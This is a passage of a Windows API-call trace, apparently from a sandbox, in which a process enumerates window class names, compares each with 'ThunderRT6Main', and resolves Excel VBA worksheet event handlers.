lpClassName="Fresh_cn_Eggs_wnd") returned 17 [0115.869] lstrcmpA (lpString1="Fresh_cn_Eggs_wnd", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x1015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0115.869] GetWindow (hWnd=0x1015a, uCmd=0x2) returned 0x1015c [0115.869] GetClassNameA (in: hWnd=0x1015c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x1015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x508 [0115.869] GetWindow (hWnd=0x1015c, uCmd=0x2) returned 0x10156 [0115.869] GetClassNameA (in: hWnd=0x10156, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="what_Volkswagen_app") returned 19 [0115.869] lstrcmpA (lpString1="what_Volkswagen_app", lpString2="ThunderRT6Main") returned 1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x10156, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0115.869] GetWindow (hWnd=0x10156, uCmd=0x2) returned 0x10158 [0115.869] GetClassNameA (in: hWnd=0x10158, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x10158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x760 [0115.869] GetWindow (hWnd=0x10158, uCmd=0x2) returned 0x3010a [0115.869] GetClassNameA (in: hWnd=0x3010a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="commit_Newman_Rings_win") returned 23 [0115.869] lstrcmpA (lpString1="commit_Newman_Rings_win", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x3010a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0115.869] GetWindow (hWnd=0x3010a, uCmd=0x2) returned 0x90154 [0115.869] GetClassNameA (in: hWnd=0x90154, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.869] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x90154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x348 [0115.869] GetWindow (hWnd=0x90154, uCmd=0x2) returned 0x20116 [0115.869] GetClassNameA (in: hWnd=0x20116, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0115.869] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x20116, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0115.869] GetWindow (hWnd=0x20116, uCmd=0x2) returned 0x1014a [0115.869] GetClassNameA (in: hWnd=0x1014a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0115.869] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0115.869] GetWindowThreadProcessId (in: hWnd=0x1014a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0115.870] GetWindow (hWnd=0x1014a, uCmd=0x2) returned 0x10148 [0115.870] GetClassNameA (in: hWnd=0x10148, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0115.870] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x10148, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0115.870] GetWindow (hWnd=0x10148, uCmd=0x2) returned 0x2013e [0115.870] GetClassNameA (in: hWnd=0x2013e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0115.870] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x2013e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0115.870] GetWindow (hWnd=0x2013e, uCmd=0x2) returned 0x10132 [0115.870] GetClassNameA (in: hWnd=0x10132, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0115.870] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x10132, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0115.870] GetWindow (hWnd=0x10132, uCmd=0x2) returned 0x10134 [0115.870] GetClassNameA (in: hWnd=0x10134, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.870] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6b0 [0115.870] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x1012a [0115.870] GetClassNameA (in: hWnd=0x1012a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ATL:000007FEFC1141F0") returned 20 [0115.870] lstrcmpA (lpString1="ATL:000007FEFC1141F0", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x1012a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0115.870] GetWindow (hWnd=0x1012a, uCmd=0x2) returned 0x1012c [0115.870] GetClassNameA (in: hWnd=0x1012c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.870] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x1012c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0115.870] GetWindow (hWnd=0x1012c, uCmd=0x2) returned 0x10120 [0115.870] GetClassNameA (in: hWnd=0x10120, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0115.870] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x10120, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0115.870] GetWindow (hWnd=0x10120, uCmd=0x2) returned 0x10122 [0115.870] GetClassNameA (in: hWnd=0x10122, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.870] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0115.870] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x1011e [0115.870] GetClassNameA (in: hWnd=0x1011e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.870] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x1011e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6a4 [0115.870] GetWindow (hWnd=0x1011e, uCmd=0x2) returned 0x200c0 [0115.870] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.870] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.870] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.871] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x200ae [0115.871] GetClassNameA (in: hWnd=0x200ae, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0115.871] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x200ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.871] GetWindow (hWnd=0x200ae, uCmd=0x2) returned 0x200b0 [0115.871] GetClassNameA (in: hWnd=0x200b0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0115.871] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x200b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.871] GetWindow (hWnd=0x200b0, uCmd=0x2) returned 0x200b4 [0115.871] GetClassNameA (in: hWnd=0x200b4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.871] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x200b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.871] GetWindow (hWnd=0x200b4, uCmd=0x2) returned 0x200bc [0115.871] GetClassNameA (in: hWnd=0x200bc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.871] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x200bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.871] GetWindow (hWnd=0x200bc, uCmd=0x2) returned 0x300ca [0115.871] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.871] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.871] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x800a0 [0115.871] GetClassNameA (in: hWnd=0x800a0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0115.871] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x800a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.871] GetWindow (hWnd=0x800a0, uCmd=0x2) returned 0x20018 [0115.871] GetClassNameA (in: hWnd=0x20018, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OneNoteM") returned 8 [0115.871] lstrcmpA (lpString1="OneNoteM", lpString2="ThunderRT6Main") returned -1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x20018, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0115.871] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0115.871] GetClassNameA (in: hWnd=0x2001a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.871] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.871] GetWindowThreadProcessId (in: hWnd=0x2001a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x54c [0115.871] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0115.871] GetClassNameA (in: hWnd=0x2001c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="GDI+ Hook Window Class") returned 22 [0115.872] lstrcmpA (lpString1="GDI+ Hook Window Class", lpString2="ThunderRT6Main") returned -1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x2001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0115.872] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0115.872] GetClassNameA (in: hWnd=0x20016, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.872] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x20016, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x43c [0115.872] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0115.872] GetClassNameA (in: hWnd=0x200a2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0115.872] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x200a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0115.872] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x20108 [0115.872] GetClassNameA (in: hWnd=0x20108, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.872] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x20108, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0115.872] GetWindow (hWnd=0x20108, uCmd=0x2) returned 0x10106 [0115.872] GetClassNameA (in: hWnd=0x10106, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.872] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x10106, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x588 [0115.872] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10102 [0115.872] GetClassNameA (in: hWnd=0x10102, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.872] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x10102, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0115.872] GetWindow (hWnd=0x10102, uCmd=0x2) returned 0x100fc [0115.872] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.872] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x100fc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x544 [0115.872] GetWindow (hWnd=0x100fc, uCmd=0x2) returned 0x5008e [0115.872] GetClassNameA (in: hWnd=0x5008e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0115.872] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x5008e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.872] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0115.872] GetClassNameA (in: hWnd=0x10084, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.872] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.872] GetWindowThreadProcessId (in: hWnd=0x10084, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0115.873] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0115.873] GetClassNameA (in: hWnd=0x10082, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0115.873] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.873] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007e [0115.873] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0115.873] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0115.873] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10080 [0115.873] GetClassNameA (in: hWnd=0x10080, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.873] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10080, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4f0 [0115.873] GetWindow (hWnd=0x10080, uCmd=0x2) returned 0x10076 [0115.873] GetClassNameA (in: hWnd=0x10076, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.873] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.873] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10064 [0115.873] GetClassNameA (in: hWnd=0x10064, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0115.873] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10064, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.873] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10110 [0115.873] GetClassNameA (in: hWnd=0x10110, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="#43") returned 3 [0115.873] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0115.873] GetWindow (hWnd=0x10110, uCmd=0x2) returned 0x10112 [0115.873] GetClassNameA (in: hWnd=0x10112, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.873] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x66c [0115.873] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10060 [0115.873] GetClassNameA (in: hWnd=0x10060, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0115.873] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.873] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1004c [0115.873] GetClassNameA (in: hWnd=0x1004c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0115.873] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x1004c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0115.873] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10042 [0115.873] GetClassNameA (in: hWnd=0x10042, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0115.873] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0115.873] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0115.874] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0115.874] GetClassNameA (in: hWnd=0x3003e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0115.874] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0115.874] GetWindowThreadProcessId (in: hWnd=0x3003e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0115.874] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x10048 [0115.874] GetClassNameA (in: hWnd=0x10048, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0115.874] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0115.874] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x124 [0115.874] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x10040 [0115.874] GetClassNameA (in: hWnd=0x10040, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.874] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.874] GetWindowThreadProcessId (in: hWnd=0x10040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0115.874] GetWindow (hWnd=0x10040, uCmd=0x2) returned 0x200fe [0115.874] GetClassNameA (in: hWnd=0x200fe, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0115.874] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0115.874] GetWindowThreadProcessId (in: hWnd=0x200fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0115.874] GetWindow (hWnd=0x200fe, uCmd=0x2) returned 0x1011c [0115.874] GetClassNameA (in: hWnd=0x1011c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0115.874] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0115.874] GetWindowThreadProcessId (in: hWnd=0x1011c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0115.874] GetWindow (hWnd=0x1011c, uCmd=0x2) returned 0x1011a [0115.874] GetClassNameA (in: hWnd=0x1011a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0115.874] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0115.874] GetWindowThreadProcessId (in: hWnd=0x1011a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x688 [0115.874] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x100ec [0115.874] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0115.874] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0115.874] GetWindowThreadProcessId (in: hWnd=0x100ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0115.874] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0115.874] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x6edcee0 [0115.874] IMalloc:Free (This=0x7feffc15380, pv=0x6edcee0) [0115.958] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1545, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x82000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x82000000d6) returned 0x0 [0115.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Change", cchWideChar=7, lpMultiByteStr=0x28f020, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Change", lpUsedDefaultChar=0x0) returned 7 [0115.958] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x11, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0115.958] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x7, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0115.958] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Change") returned 0x10539f [0118.376] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=279, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400000004 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x400000004) returned 0x0 [0118.376] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Calculate", cchWideChar=10, lpMultiByteStr=0x28f020, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Calculate", lpUsedDefaultChar=0x0) returned 10 [0118.376] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x14, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0118.376] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0xa, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0118.376] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_Calculate") returned 0x106574 [0125.067] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1543, refPtrFlags=0x28efd0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x820000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x820000035b) returned 0x0 [0125.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x28f020, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0125.067] _mbscpy_s (in: _Dst=0x28ee70, _DstSizeInBytes=0x1a, _Src=0x6762d5a | out: _Dst=0x28ee70) returned 0x0 [0125.067] _mbscpy_s (in: _Dst=0x28ee7a, _DstSizeInBytes=0x10, _Src=0x28f020 | out: _Dst=0x28ee7a) returned 0x0 [0125.067] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0125.068] ITypeInfo:RemoteGetDocumentation (in: This=0xb3e3928, memid=1537, refPtrFlags=0x28e370, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0125.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x28e3c0, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0125.068] _mbscpy_s (in: _Dst=0x28e210, _DstSizeInBytes=0x1c, _Src=0x6762d5a | out: _Dst=0x28e210) returned 0x0 [0125.068] _mbscpy_s (in: _Dst=0x28e21a, _DstSizeInBytes=0x12, _Src=0x28e3c0 | out: _Dst=0x28e21a) returned 0x0 [0125.068] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0125.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0125.071] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb2ef3b0 [0125.071] strncpy_s (in: _Dst=0xb2ef3b0, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0125.071] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0125.071] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0125.071] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0125.071] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0125.071] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0125.071] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0125.071] IUnknown:Release (This=0xb1d1380) returned 0xb [0125.071] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb2ef3b0, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0125.071] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: 